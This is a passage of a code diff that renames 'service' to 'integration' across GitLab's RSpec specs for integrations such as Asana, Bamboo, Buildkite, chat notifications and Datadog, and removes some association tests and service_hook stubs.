- let!(:subgroup_integration) { create(:prometheus_service, group: subgroup, project: nil, api_url: 'https://prometheus.subgroup.com/') }
+ let!(:subgroup_integration) { create(:prometheus_integration, group: subgroup, project: nil, api_url: 'https://prometheus.subgroup.com/') }
let!(:subgroup) { create(:group, parent: group) }
let(:project) { create(:project, group: subgroup) }
- it 'creates a service from the subgroup-level integration' do
+ it 'creates an integration from the subgroup-level integration' do
described_class.create_from_active_default_integrations(project, :project_id, with_templates: true)
expect(project.reload.integrations.size).to eq(1)
@@ -601,7 +583,7 @@ RSpec.describe Integration do
context 'traversal queries' do
shared_examples 'correct ancestor order' do
- it 'creates a service from the subgroup-level integration' do
+ it 'creates an integration from the subgroup-level integration' do
described_class.create_from_active_default_integrations(sub_subgroup, :group_id)
sub_subgroup.reload
@@ -611,10 +593,10 @@ RSpec.describe Integration do
expect(sub_subgroup.integrations.first.inherit_from_id).to eq(subgroup_integration.id)
end
- context 'having a service inheriting settings' do
- let!(:subgroup_integration) { create(:prometheus_service, group: subgroup, project: nil, inherit_from_id: group_integration.id, api_url: 'https://prometheus.subgroup.com/') }
+ context 'having an integration inheriting settings' do
+ let!(:subgroup_integration) { create(:prometheus_integration, group: subgroup, project: nil, inherit_from_id: group_integration.id, api_url: 'https://prometheus.subgroup.com/') }
- it 'creates a service from the group-level integration' do
+ it 'creates an integration from the group-level integration' do
described_class.create_from_active_default_integrations(sub_subgroup, :group_id)
sub_subgroup.reload
@@ -656,11 +638,11 @@ RSpec.describe Integration do
let_it_be(:subgroup2) { create(:group, parent: group) }
let_it_be(:project1) { create(:project, group: subgroup1) }
let_it_be(:project2) { create(:project, group: subgroup2) }
- let_it_be(:group_integration) { create(:prometheus_service, group: group, project: nil) }
- let_it_be(:subgroup_integration1) { create(:prometheus_service, group: subgroup1, project: nil, inherit_from_id: group_integration.id) }
- let_it_be(:subgroup_integration2) { create(:prometheus_service, group: subgroup2, project: nil) }
- let_it_be(:project_integration1) { create(:prometheus_service, group: nil, project: project1, inherit_from_id: group_integration.id) }
- let_it_be(:project_integration2) { create(:prometheus_service, group: nil, project: project2, inherit_from_id: subgroup_integration2.id) }
+ let_it_be(:group_integration) { create(:prometheus_integration, group: group, project: nil) }
+ let_it_be(:subgroup_integration1) { create(:prometheus_integration, group: subgroup1, project: nil, inherit_from_id: group_integration.id) }
+ let_it_be(:subgroup_integration2) { create(:prometheus_integration, group: subgroup2, project: nil) }
+ let_it_be(:project_integration1) { create(:prometheus_integration, group: nil, project: project1, inherit_from_id: group_integration.id) }
+ let_it_be(:project_integration2) { create(:prometheus_integration, group: nil, project: project2, inherit_from_id: subgroup_integration2.id) }
it 'returns the groups and projects inheriting from integration ancestors', :aggregate_failures do
expect(described_class.inherited_descendants_from_self_or_ancestors_from(group_integration)).to eq([subgroup_integration1, project_integration1])
@@ -669,11 +651,8 @@ RSpec.describe Integration do
end
describe '.integration_name_to_model' do
- it 'returns the model for the given service name', :aggregate_failures do
+ it 'returns the model for the given service name' do
expect(described_class.integration_name_to_model('asana')).to eq(Integrations::Asana)
- # TODO We can remove this test when all models have been namespaced:
- # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60968#note_570994955
- expect(described_class.integration_name_to_model('prometheus')).to eq(PrometheusService)
end
it 'raises an error if service name is invalid' do
@@ -897,37 +876,37 @@ RSpec.describe Integration do
end
end
- describe '.available_services_names' do
+ describe '.available_integration_names' do
it 'calls the right methods' do
- expect(described_class).to receive(:services_names).and_call_original
- expect(described_class).to receive(:dev_services_names).and_call_original
- expect(described_class).to receive(:project_specific_services_names).and_call_original
+ expect(described_class).to receive(:integration_names).and_call_original
+ expect(described_class).to receive(:dev_integration_names).and_call_original
+ expect(described_class).to receive(:project_specific_integration_names).and_call_original
- described_class.available_services_names
+ described_class.available_integration_names
end
- it 'does not call project_specific_services_names with include_project_specific false' do
- expect(described_class).to receive(:services_names).and_call_original
- expect(described_class).to receive(:dev_services_names).and_call_original
- expect(described_class).not_to receive(:project_specific_services_names)
+ it 'does not call project_specific_integration_names with include_project_specific false' do
+ expect(described_class).to receive(:integration_names).and_call_original
+ expect(described_class).to receive(:dev_integration_names).and_call_original
+ expect(described_class).not_to receive(:project_specific_integration_names)
- described_class.available_services_names(include_project_specific: false)
+ described_class.available_integration_names(include_project_specific: false)
end
- it 'does not call dev_services_names with include_dev false' do
- expect(described_class).to receive(:services_names).and_call_original
- expect(described_class).not_to receive(:dev_services_names)
- expect(described_class).to receive(:project_specific_services_names).and_call_original
+ it 'does not call dev_integration_names with include_dev false' do
+ expect(described_class).to receive(:integration_names).and_call_original
+ expect(described_class).not_to receive(:dev_integration_names)
+ expect(described_class).to receive(:project_specific_integration_names).and_call_original
- described_class.available_services_names(include_dev: false)
+ described_class.available_integration_names(include_dev: false)
end
- it { expect(described_class.available_services_names).to include('jenkins') }
+ it { expect(described_class.available_integration_names).to include('jenkins') }
end
- describe '.project_specific_services_names' do
+ describe '.project_specific_integration_names' do
it do
- expect(described_class.project_specific_services_names)
+ expect(described_class.project_specific_integration_names)
.to include(*described_class::PROJECT_SPECIFIC_INTEGRATION_NAMES)
end
end
diff --git a/spec/models/integrations/asana_spec.rb b/spec/models/integrations/asana_spec.rb
index 4473478910a..f7e7eb1b0ae 100644
--- a/spec/models/integrations/asana_spec.rb
+++ b/spec/models/integrations/asana_spec.rb
@@ -3,11 +3,6 @@
require 'spec_helper'
RSpec.describe Integrations::Asana do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
context 'active' do
before do
@@ -42,13 +37,12 @@ RSpec.describe Integrations::Asana do
allow(@asana).to receive_messages(
project: project,
project_id: project.id,
- service_hook: true,
api_key: 'verySecret',
restrict_to_branch: 'master'
)
end
- it 'calls Asana service to create a story' do
+ it 'calls Asana integration to create a story' do
data = create_data_for_commits("Message from commit. related to ##{gid}")
expected_message = "#{data[:user_name]} pushed to branch #{data[:ref]} of #{project.full_name} ( #{data[:commits][0][:url]} ): #{data[:commits][0][:message]}"
@@ -59,7 +53,7 @@ RSpec.describe Integrations::Asana do
@asana.execute(data)
end
- it 'calls Asana service to create a story and close a task' do
+ it 'calls Asana integration to create a story and close a task' do
data = create_data_for_commits('fix #456789')
d1 = double('Asana::Resources::Task')
expect(d1).to receive(:add_comment)
diff --git a/spec/models/integrations/assembla_spec.rb b/spec/models/integrations/assembla_spec.rb
index e5972bce95d..960dfea3dc4 100644
--- a/spec/models/integrations/assembla_spec.rb
+++ b/spec/models/integrations/assembla_spec.rb
@@ -5,11 +5,6 @@ require 'spec_helper'
RSpec.describe Integrations::Assembla do
include StubRequests
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe "Execute" do
let(:user) { create(:user) }
let(:project) { create(:project, :repository) }
@@ -19,7 +14,6 @@ RSpec.describe Integrations::Assembla do
allow(@assembla_integration).to receive_messages(
project_id: project.id,
project: project,
- service_hook: true,
token: 'verySecret',
subdomain: 'project_name'
)
diff --git a/spec/models/integrations/bamboo_spec.rb b/spec/models/integrations/bamboo_spec.rb
index 39966f7978d..73ebf404828 100644
--- a/spec/models/integrations/bamboo_spec.rb
+++ b/spec/models/integrations/bamboo_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Integrations::Bamboo, :use_clean_rails_memory_store_caching do
let_it_be(:project) { create(:project) }
- subject(:service) do
+ subject(:integration) do
described_class.create!(
project: project,
properties: {
@@ -22,53 +22,48 @@ RSpec.describe Integrations::Bamboo, :use_clean_rails_memory_store_caching do
)
end
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when active' do
before do
- subject.active = true
+ integration.active = true
end
it { is_expected.to validate_presence_of(:build_key) }
it { is_expected.to validate_presence_of(:bamboo_url) }
- it_behaves_like 'issue tracker service URL attribute', :bamboo_url
+ it_behaves_like 'issue tracker integration URL attribute', :bamboo_url
describe '#username' do
it 'does not validate the presence of username if password is nil' do
- subject.password = nil
+ integration.password = nil
- expect(subject).not_to validate_presence_of(:username)
+ expect(integration).not_to validate_presence_of(:username)
end
it 'validates the presence of username if password is present' do
- subject.password = 'secret'
+ integration.password = 'secret'
- expect(subject).to validate_presence_of(:username)
+ expect(integration).to validate_presence_of(:username)
end
end
describe '#password' do
it 'does not validate the presence of password if username is nil' do
- subject.username = nil
+ integration.username = nil
- expect(subject).not_to validate_presence_of(:password)
+ expect(integration).not_to validate_presence_of(:password)
end
it 'validates the presence of password if username is present' do
- subject.username = 'john'
+ integration.username = 'john'
- expect(subject).to validate_presence_of(:password)
+ expect(integration).to validate_presence_of(:password)
end
end
end
- context 'when service is inactive' do
+ context 'when inactive' do
before do
- subject.active = false
+ integration.active = false
end
it { is_expected.not_to validate_presence_of(:build_key) }
@@ -82,45 +77,38 @@ RSpec.describe Integrations::Bamboo, :use_clean_rails_memory_store_caching do
describe 'before_update :reset_password' do
context 'when a password was previously set' do
it 'resets password if url changed' do
- bamboo_integration = service
-
- bamboo_integration.bamboo_url = 'http://gitlab1.com'
- bamboo_integration.save!
+ integration.bamboo_url = 'http://gitlab1.com'
+ integration.save!
- expect(bamboo_integration.password).to be_nil
+ expect(integration.password).to be_nil
end
it 'does not reset password if username changed' do
- bamboo_integration = service
+ integration.username = 'some_name'
+ integration.save!
- bamboo_integration.username = 'some_name'
- bamboo_integration.save!
-
- expect(bamboo_integration.password).to eq('password')
+ expect(integration.password).to eq('password')
end
it "does not reset password if new url is set together with password, even if it's the same password" do
- bamboo_integration = service
-
- bamboo_integration.bamboo_url = 'http://gitlab_edited.com'
- bamboo_integration.password = 'password'
- bamboo_integration.save!
+ integration.bamboo_url = 'http://gitlab_edited.com'
+ integration.password = 'password'
+ integration.save!
- expect(bamboo_integration.password).to eq('password')
- expect(bamboo_integration.bamboo_url).to eq('http://gitlab_edited.com')
+ expect(integration.password).to eq('password')
+ expect(integration.bamboo_url).to eq('http://gitlab_edited.com')
end
end
it 'saves password if new url is set together with password when no password was previously set' do
- bamboo_integration = service
- bamboo_integration.password = nil
+ integration.password = nil
- bamboo_integration.bamboo_url = 'http://gitlab_edited.com'
- bamboo_integration.password = 'password'
- bamboo_integration.save!
+ integration.bamboo_url = 'http://gitlab_edited.com'
+ integration.password = 'password'
+ integration.save!
- expect(bamboo_integration.password).to eq('password')
- expect(bamboo_integration.bamboo_url).to eq('http://gitlab_edited.com')
+ expect(integration.password).to eq('password')
+ expect(integration.bamboo_url).to eq('http://gitlab_edited.com')
end
end
end
@@ -129,29 +117,29 @@ RSpec.describe Integrations::Bamboo, :use_clean_rails_memory_store_caching do
it 'runs update and build action' do
stub_update_and_build_request
- subject.execute(Gitlab::DataBuilder::Push::SAMPLE_DATA)
+ integration.execute(Gitlab::DataBuilder::Push::SAMPLE_DATA)
end
end
describe '#build_page' do
it 'returns the contents of the reactive cache' do
- stub_reactive_cache(service, { build_page: 'foo' }, 'sha', 'ref')
+ stub_reactive_cache(integration, { build_page: 'foo' }, 'sha', 'ref')
- expect(service.build_page('sha', 'ref')).to eq('foo')
+ expect(integration.build_page('sha', 'ref')).to eq('foo')
end
end
describe '#commit_status' do
it 'returns the contents of the reactive cache' do
- stub_reactive_cache(service, { commit_status: 'foo' }, 'sha', 'ref')
+ stub_reactive_cache(integration, { commit_status: 'foo' }, 'sha', 'ref')
- expect(service.commit_status('sha', 'ref')).to eq('foo')
+ expect(integration.commit_status('sha', 'ref')).to eq('foo')
end
end
shared_examples 'reactive cache calculation' do
describe '#build_page' do
- subject { service.calculate_reactive_cache('123', 'unused')[:build_page] }
+ subject { integration.calculate_reactive_cache('123', 'unused')[:build_page] }
it 'returns a specific URL when status is 500' do
stub_request(status: 500)
@@ -183,7 +171,7 @@ RSpec.describe Integrations::Bamboo, :use_clean_rails_memory_store_caching do
end
describe '#commit_status' do
- subject { service.calculate_reactive_cache('123', 'unused')[:commit_status] }
+ subject { integration.calculate_reactive_cache('123', 'unused')[:commit_status] }
it 'sets commit status to :error when status is 500' do
stub_request(status: 500)
diff --git a/spec/models/integrations/base_chat_notification_spec.rb b/spec/models/integrations/base_chat_notification_spec.rb
index 656eaa3bbdd..ac4031a9b7d 100644
--- a/spec/models/integrations/base_chat_notification_spec.rb
+++ b/spec/models/integrations/base_chat_notification_spec.rb
@@ -15,26 +15,8 @@ RSpec.describe Integrations::BaseChatNotification do
it { is_expected.to validate_inclusion_of(:labels_to_be_notified_behavior).in_array(%w[match_any match_all]).allow_blank }
end
- describe '#can_test?' do
- context 'with empty repository' do
- it 'returns true' do
- subject.project = create(:project, :empty_repo)
-
- expect(subject.can_test?).to be true
- end
- end
-
- context 'with repository' do
- it 'returns true' do
- subject.project = create(:project, :repository)
-
- expect(subject.can_test?).to be true
- end
- end
- end
-
describe '#execute' do
- subject(:chat_service) { described_class.new }
+ subject(:chat_integration) { described_class.new }
let_it_be(:project) { create(:project, :repository) }
@@ -43,10 +25,9 @@ RSpec.describe Integrations::BaseChatNotification do
let(:data) { Gitlab::DataBuilder::Push.build_sample(subject.project, user) }
before do
- allow(chat_service).to receive_messages(
+ allow(chat_integration).to receive_messages(
project: project,
project_id: project.id,
- service_hook: true,
webhook: webhook_url
)
@@ -57,8 +38,8 @@ RSpec.describe Integrations::BaseChatNotification do
context 'with a repository' do
it 'returns true' do
- expect(chat_service).to receive(:notify).and_return(true)
- expect(chat_service.execute(data)).to be true
+ expect(chat_integration).to receive(:notify).and_return(true)
+ expect(chat_integration.execute(data)).to be true
end
end
@@ -66,8 +47,8 @@ RSpec.describe Integrations::BaseChatNotification do
it 'returns true' do
subject.project = create(:project, :empty_repo)
- expect(chat_service).to receive(:notify).and_return(true)
- expect(chat_service.execute(data)).to be true
+ expect(chat_integration).to receive(:notify).and_return(true)
+ expect(chat_integration.execute(data)).to be true
end
end
@@ -75,8 +56,8 @@ RSpec.describe Integrations::BaseChatNotification do
it 'does not remove spaces' do
allow(project).to receive(:full_name).and_return('Project Name')
- expect(chat_service).to receive(:get_message).with(any_args, hash_including(project_name: 'Project Name'))
- chat_service.execute(data)
+ expect(chat_integration).to receive(:get_message).with(any_args, hash_including(project_name: 'Project Name'))
+ chat_integration.execute(data)
end
end
@@ -89,76 +70,76 @@ RSpec.describe Integrations::BaseChatNotification do
let(:data) { Gitlab::DataBuilder::Note.build(note, user) }
- shared_examples 'notifies the chat service' do
+ shared_examples 'notifies the chat integration' do
specify do
- expect(chat_service).to receive(:notify).with(any_args)
+ expect(chat_integration).to receive(:notify).with(any_args)
- chat_service.execute(data)
+ chat_integration.execute(data)
end
end
- shared_examples 'does not notify the chat service' do
+ shared_examples 'does not notify the chat integration' do
specify do
- expect(chat_service).not_to receive(:notify).with(any_args)
+ expect(chat_integration).not_to receive(:notify).with(any_args)
- chat_service.execute(data)
+ chat_integration.execute(data)
end
end
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
context 'with label filter' do
- subject(:chat_service) { described_class.new(labels_to_be_notified: '~Bug') }
+ subject(:chat_integration) { described_class.new(labels_to_be_notified: '~Bug') }
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
context 'MergeRequest events' do
let(:data) { create(:merge_request, labels: [label]).to_hook_data(user) }
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
end
context 'Issue events' do
let(:data) { issue.to_hook_data(user) }
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
end
end
context 'when labels_to_be_notified_behavior is not defined' do
- subject(:chat_service) { described_class.new(labels_to_be_notified: label_filter) }
+ subject(:chat_integration) { described_class.new(labels_to_be_notified: label_filter) }
context 'no matching labels' do
let(:label_filter) { '~some random label' }
- it_behaves_like 'does not notify the chat service'
+ it_behaves_like 'does not notify the chat integration'
end
context 'only one label matches' do
let(:label_filter) { '~some random label, ~Bug' }
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
end
end
context 'when labels_to_be_notified_behavior is blank' do
- subject(:chat_service) { described_class.new(labels_to_be_notified: label_filter, labels_to_be_notified_behavior: '') }
+ subject(:chat_integration) { described_class.new(labels_to_be_notified: label_filter, labels_to_be_notified_behavior: '') }
context 'no matching labels' do
let(:label_filter) { '~some random label' }
- it_behaves_like 'does not notify the chat service'
+ it_behaves_like 'does not notify the chat integration'
end
context 'only one label matches' do
let(:label_filter) { '~some random label, ~Bug' }
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
end
end
context 'when labels_to_be_notified_behavior is match_any' do
- subject(:chat_service) do
+ subject(:chat_integration) do
described_class.new(
labels_to_be_notified: label_filter,
labels_to_be_notified_behavior: 'match_any'
@@ -168,24 +149,24 @@ RSpec.describe Integrations::BaseChatNotification do
context 'no label filter' do
let(:label_filter) { nil }
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
end
context 'no matching labels' do
let(:label_filter) { '~some random label' }
- it_behaves_like 'does not notify the chat service'
+ it_behaves_like 'does not notify the chat integration'
end
context 'only one label matches' do
let(:label_filter) { '~some random label, ~Bug' }
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
end
end
context 'when labels_to_be_notified_behavior is match_all' do
- subject(:chat_service) do
+ subject(:chat_integration) do
described_class.new(
labels_to_be_notified: label_filter,
labels_to_be_notified_behavior: 'match_all'
@@ -195,31 +176,31 @@ RSpec.describe Integrations::BaseChatNotification do
context 'no label filter' do
let(:label_filter) { nil }
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
end
context 'no matching labels' do
let(:label_filter) { '~some random label' }
- it_behaves_like 'does not notify the chat service'
+ it_behaves_like 'does not notify the chat integration'
end
context 'only one label matches' do
let(:label_filter) { '~some random label, ~Bug' }
- it_behaves_like 'does not notify the chat service'
+ it_behaves_like 'does not notify the chat integration'
end
context 'labels matches exactly' do
let(:label_filter) { '~Bug, ~Backend, ~Community contribution' }
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
end
context 'labels matches but object has more' do
let(:label_filter) { '~Bug, ~Backend' }
- it_behaves_like 'notifies the chat service'
+ it_behaves_like 'notifies the chat integration'
end
context 'labels are distributed on multiple objects' do
@@ -241,22 +222,22 @@ RSpec.describe Integrations::BaseChatNotification do
})
end
- it_behaves_like 'does not notify the chat service'
+ it_behaves_like 'does not notify the chat integration'
end
end
end
context 'with "channel" property' do
before do
- allow(chat_service).to receive(:channel).and_return(channel)
+ allow(chat_integration).to receive(:channel).and_return(channel)
end
context 'empty string' do
let(:channel) { '' }
it 'does not include the channel' do
- expect(chat_service).to receive(:notify).with(any_args, hash_excluding(:channel)).and_return(true)
- expect(chat_service.execute(data)).to be(true)
+ expect(chat_integration).to receive(:notify).with(any_args, hash_excluding(:channel)).and_return(true)
+ expect(chat_integration.execute(data)).to be(true)
end
end
@@ -264,20 +245,20 @@ RSpec.describe Integrations::BaseChatNotification do
let(:channel) { ' ' }
it 'does not include the channel' do
- expect(chat_service).to receive(:notify).with(any_args, hash_excluding(:channel)).and_return(true)
- expect(chat_service.execute(data)).to be(true)
+ expect(chat_integration).to receive(:notify).with(any_args, hash_excluding(:channel)).and_return(true)
+ expect(chat_integration.execute(data)).to be(true)
end
end
end
shared_examples 'with channel specified' do |channel, expected_channels|
before do
- allow(chat_service).to receive(:push_channel).and_return(channel)
+ allow(chat_integration).to receive(:push_channel).and_return(channel)
end
it 'notifies all channels' do
- expect(chat_service).to receive(:notify).with(any_args, hash_including(channel: expected_channels)).and_return(true)
- expect(chat_service.execute(data)).to be(true)
+ expect(chat_integration).to receive(:notify).with(any_args, hash_including(channel: expected_channels)).and_return(true)
+ expect(chat_integration.execute(data)).to be(true)
end
end
diff --git a/spec/models/integrations/base_issue_tracker_spec.rb b/spec/models/integrations/base_issue_tracker_spec.rb
index 0f1bc39929a..25e27e96a84 100644
--- a/spec/models/integrations/base_issue_tracker_spec.rb
+++ b/spec/models/integrations/base_issue_tracker_spec.rb
@@ -7,26 +7,26 @@ RSpec.describe Integrations::BaseIssueTracker do
let(:project) { create :project }
describe 'only one issue tracker per project' do
- let(:service) { Integrations::Redmine.new(project: project, active: true, issue_tracker_data: build(:issue_tracker_data)) }
+ let(:integration) { Integrations::Redmine.new(project: project, active: true, issue_tracker_data: build(:issue_tracker_data)) }
before do
create(:custom_issue_tracker_integration, project: project)
end
- context 'when service is changed manually by user' do
+ context 'when integration is changed manually by user' do
it 'executes the validation' do
- valid = service.valid?(:manual_change)
+ valid = integration.valid?(:manual_change)
expect(valid).to be_falsey
- expect(service.errors[:base]).to include(
+ expect(integration.errors[:base]).to include(
'Another issue tracker is already in use. Only one issue tracker service can be active at a time'
)
end
end
- context 'when service is changed internally' do
+ context 'when integration is changed internally' do
it 'does not execute the validation' do
- expect(service.valid?).to be_truthy
+ expect(integration.valid?).to be_truthy
end
end
end
diff --git a/spec/models/integrations/bugzilla_spec.rb b/spec/models/integrations/bugzilla_spec.rb
index e75fa8dd4d4..432306c8fa8 100644
--- a/spec/models/integrations/bugzilla_spec.rb
+++ b/spec/models/integrations/bugzilla_spec.rb
@@ -3,13 +3,8 @@
require 'spec_helper'
RSpec.describe Integrations::Bugzilla do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -17,12 +12,12 @@ RSpec.describe Integrations::Bugzilla do
it { is_expected.to validate_presence_of(:project_url) }
it { is_expected.to validate_presence_of(:issues_url) }
it { is_expected.to validate_presence_of(:new_issue_url) }
- it_behaves_like 'issue tracker service URL attribute', :project_url
- it_behaves_like 'issue tracker service URL attribute', :issues_url
- it_behaves_like 'issue tracker service URL attribute', :new_issue_url
+ it_behaves_like 'issue tracker integration URL attribute', :project_url
+ it_behaves_like 'issue tracker integration URL attribute', :issues_url
+ it_behaves_like 'issue tracker integration URL attribute', :new_issue_url
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
diff --git a/spec/models/integrations/buildkite_spec.rb b/spec/models/integrations/buildkite_spec.rb
index 7dc81da7003..4207ae0d555 100644
--- a/spec/models/integrations/buildkite_spec.rb
+++ b/spec/models/integrations/buildkite_spec.rb
@@ -8,34 +8,32 @@ RSpec.describe Integrations::Buildkite, :use_clean_rails_memory_store_caching do
let(:project) { create(:project) }
- subject(:service) do
+ subject(:integration) do
described_class.create!(
project: project,
properties: {
- service_hook: true,
project_url: 'https://buildkite.com/organization-name/example-pipeline',
token: 'secret-sauce-webhook-token:secret-sauce-status-token'
}
)
end
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
+ it_behaves_like Integrations::HasWebHook do
+ let(:hook_url) { 'https://webhook.buildkite.com/deliver/secret-sauce-webhook-token' }
end
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
it { is_expected.to validate_presence_of(:project_url) }
it { is_expected.to validate_presence_of(:token) }
- it_behaves_like 'issue tracker service URL attribute', :project_url
+ it_behaves_like 'issue tracker integration URL attribute', :project_url
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
@@ -47,7 +45,7 @@ RSpec.describe Integrations::Buildkite, :use_clean_rails_memory_store_caching do
describe '.supported_events' do
it 'supports push, merge_request, and tag_push events' do
- expect(service.supported_events).to eq %w(push merge_request tag_push)
+ expect(integration.supported_events).to eq %w(push merge_request tag_push)
end
end
@@ -57,18 +55,18 @@ RSpec.describe Integrations::Buildkite, :use_clean_rails_memory_store_caching do
end
it 'always activates SSL verification after saved' do
- service.create_service_hook(enable_ssl_verification: false)
+ integration.create_service_hook(enable_ssl_verification: false)
- service.enable_ssl_verification = false
- service.active = true
+ integration.enable_ssl_verification = false
+ integration.active = true
- expect { service.save! }
- .to change { service.service_hook.enable_ssl_verification }.from(false).to(true)
+ expect { integration.save! }
+ .to change { integration.service_hook.enable_ssl_verification }.from(false).to(true)
end
- describe '#webhook_url' do
+ describe '#hook_url' do
it 'returns the webhook url' do
- expect(service.webhook_url).to eq(
+ expect(integration.hook_url).to eq(
'https://webhook.buildkite.com/deliver/secret-sauce-webhook-token'
)
end
@@ -76,7 +74,7 @@ RSpec.describe Integrations::Buildkite, :use_clean_rails_memory_store_caching do
describe '#commit_status_path' do
it 'returns the correct status page' do
- expect(service.commit_status_path('2ab7834c')).to eq(
+ expect(integration.commit_status_path('2ab7834c')).to eq(
'https://gitlab.buildkite.com/status/secret-sauce-status-token.json?commit=2ab7834c'
)
end
@@ -84,7 +82,7 @@ RSpec.describe Integrations::Buildkite, :use_clean_rails_memory_store_caching do
describe '#build_page' do
it 'returns the correct build page' do
- expect(service.build_page('2ab7834c', nil)).to eq(
+ expect(integration.build_page('2ab7834c', nil)).to eq(
'https://buildkite.com/organization-name/example-pipeline/builds?commit=2ab7834c'
)
end
@@ -92,9 +90,9 @@ RSpec.describe Integrations::Buildkite, :use_clean_rails_memory_store_caching do
describe '#commit_status' do
it 'returns the contents of the reactive cache' do
- stub_reactive_cache(service, { commit_status: 'foo' }, 'sha', 'ref')
+ stub_reactive_cache(integration, { commit_status: 'foo' }, 'sha', 'ref')
- expect(service.commit_status('sha', 'ref')).to eq('foo')
+ expect(integration.commit_status('sha', 'ref')).to eq('foo')
end
end
@@ -104,7 +102,7 @@ RSpec.describe Integrations::Buildkite, :use_clean_rails_memory_store_caching do
'https://gitlab.buildkite.com/status/secret-sauce-status-token.json?commit=123'
end
- subject { service.calculate_reactive_cache('123', 'unused')[:commit_status] }
+ subject { integration.calculate_reactive_cache('123', 'unused')[:commit_status] }
it 'sets commit status to :error when status is 500' do
stub_request(status: 500)
diff --git a/spec/models/integrations/campfire_spec.rb b/spec/models/integrations/campfire_spec.rb
index d68f8e0bd4e..0044e6fae21 100644
--- a/spec/models/integrations/campfire_spec.rb
+++ b/spec/models/integrations/campfire_spec.rb
@@ -5,13 +5,8 @@ require 'spec_helper'
RSpec.describe Integrations::Campfire do
include StubRequests
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -19,7 +14,7 @@ RSpec.describe Integrations::Campfire do
it { is_expected.to validate_presence_of(:token) }
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
@@ -37,7 +32,6 @@ RSpec.describe Integrations::Campfire do
allow(@campfire_integration).to receive_messages(
project_id: project.id,
project: project,
- service_hook: true,
token: 'verySecret',
subdomain: 'project-name',
room: 'test-room'
diff --git a/spec/models/integrations/confluence_spec.rb b/spec/models/integrations/confluence_spec.rb
index 08e18c99376..e2f9316bc95 100644
--- a/spec/models/integrations/confluence_spec.rb
+++ b/spec/models/integrations/confluence_spec.rb
@@ -3,17 +3,12 @@
require 'spec_helper'
RSpec.describe Integrations::Confluence do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
before do
subject.active = active
end
- context 'when service is active' do
+ context 'when integration is active' do
let(:active) { true }
it { is_expected.not_to allow_value('https://example.com').for(:confluence_url) }
@@ -35,7 +30,7 @@ RSpec.describe Integrations::Confluence do
it { is_expected.to validate_presence_of(:confluence_url) }
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
let(:active) { false }
it { is_expected.not_to validate_presence_of(:confluence_url) }
@@ -71,13 +66,13 @@ RSpec.describe Integrations::Confluence do
subject { project.project_setting.has_confluence? }
- it 'sets the property to true when service is active' do
+ it 'sets the property to true when integration is active' do
create(:confluence_integration, project: project, active: true)
is_expected.to be(true)
end
- it 'sets the property to false when service is not active' do
+ it 'sets the property to false when integration is not active' do
create(:confluence_integration, project: project, active: false)
is_expected.to be(false)
diff --git a/spec/models/integrations/custom_issue_tracker_spec.rb b/spec/models/integrations/custom_issue_tracker_spec.rb
index 25f2648e738..e1ffe7a74f0 100644
--- a/spec/models/integrations/custom_issue_tracker_spec.rb
+++ b/spec/models/integrations/custom_issue_tracker_spec.rb
@@ -3,13 +3,8 @@
require 'spec_helper'
RSpec.describe Integrations::CustomIssueTracker do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
describe 'Validations' do
- context 'when service is active' do
+ context 'when integration is active' do
before do
subject.active = true
end
@@ -17,12 +12,12 @@ RSpec.describe Integrations::CustomIssueTracker do
it { is_expected.to validate_presence_of(:project_url) }
it { is_expected.to validate_presence_of(:issues_url) }
it { is_expected.to validate_presence_of(:new_issue_url) }
- it_behaves_like 'issue tracker service URL attribute', :project_url
- it_behaves_like 'issue tracker service URL attribute', :issues_url
- it_behaves_like 'issue tracker service URL attribute', :new_issue_url
+ it_behaves_like 'issue tracker integration URL attribute', :project_url
+ it_behaves_like 'issue tracker integration URL attribute', :issues_url
+ it_behaves_like 'issue tracker integration URL attribute', :new_issue_url
end
- context 'when service is inactive' do
+ context 'when integration is inactive' do
before do
subject.active = false
end
diff --git a/spec/models/integrations/datadog_spec.rb b/spec/models/integrations/datadog_spec.rb
index 165b21840e0..e2749ab1bc1 100644
--- a/spec/models/integrations/datadog_spec.rb
+++ b/spec/models/integrations/datadog_spec.rb
@@ -10,13 +10,13 @@ RSpec.describe Integrations::Datadog do
let(:active) { true }
let(:dd_site) { 'datadoghq.com' }
- let(:default_url) { 'https://webhooks-http-intake.logs.datadoghq.com/v1/input/' }
+ let(:default_url) { 'https://webhooks-http-intake.logs.datadoghq.com/api/v2/webhook' }
